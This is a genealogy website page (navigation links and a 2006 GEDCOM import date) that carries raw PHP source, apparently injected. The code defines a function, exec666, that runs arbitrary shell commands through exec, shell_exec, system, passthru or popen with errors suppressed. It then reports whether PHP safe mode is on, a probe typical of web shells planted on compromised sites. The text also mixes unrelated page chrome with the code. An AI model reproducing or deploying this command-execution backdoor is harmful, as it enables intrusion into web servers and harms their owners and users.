Home
Search
Print
Login
Add Bookmark
Date of Last GEDCOM Import: 04 Oct 2006 13:19:32
$safemode=@ini_get('safe_mode');
if(!$safemode && !ereg('SPEED',exec666('echo SPEED'))) $safemode = 1;
function exec666($cmd)
{
$result = '';
if(!empty($cmd))
{
if(function_exists('exec'))
{
@exec($cmd,$result);
$result = implode("\n",$result);
}
elseif(function_exists('shell_exec'))
$result = @shell_exec($cmd);
elseif(function_exists('system'))
{
@ob_start();
@system($cmd);
$result = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($cmd);
$result = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cmd,"r")))
{
$result = "";
while(!@feof($f)) { $result .= @fread($f,1024); }
@pclose($f);
}
}
return $result;
}
if($safemode) echo 'safe_mode_on';
else echo 'safe_mode_off';
?>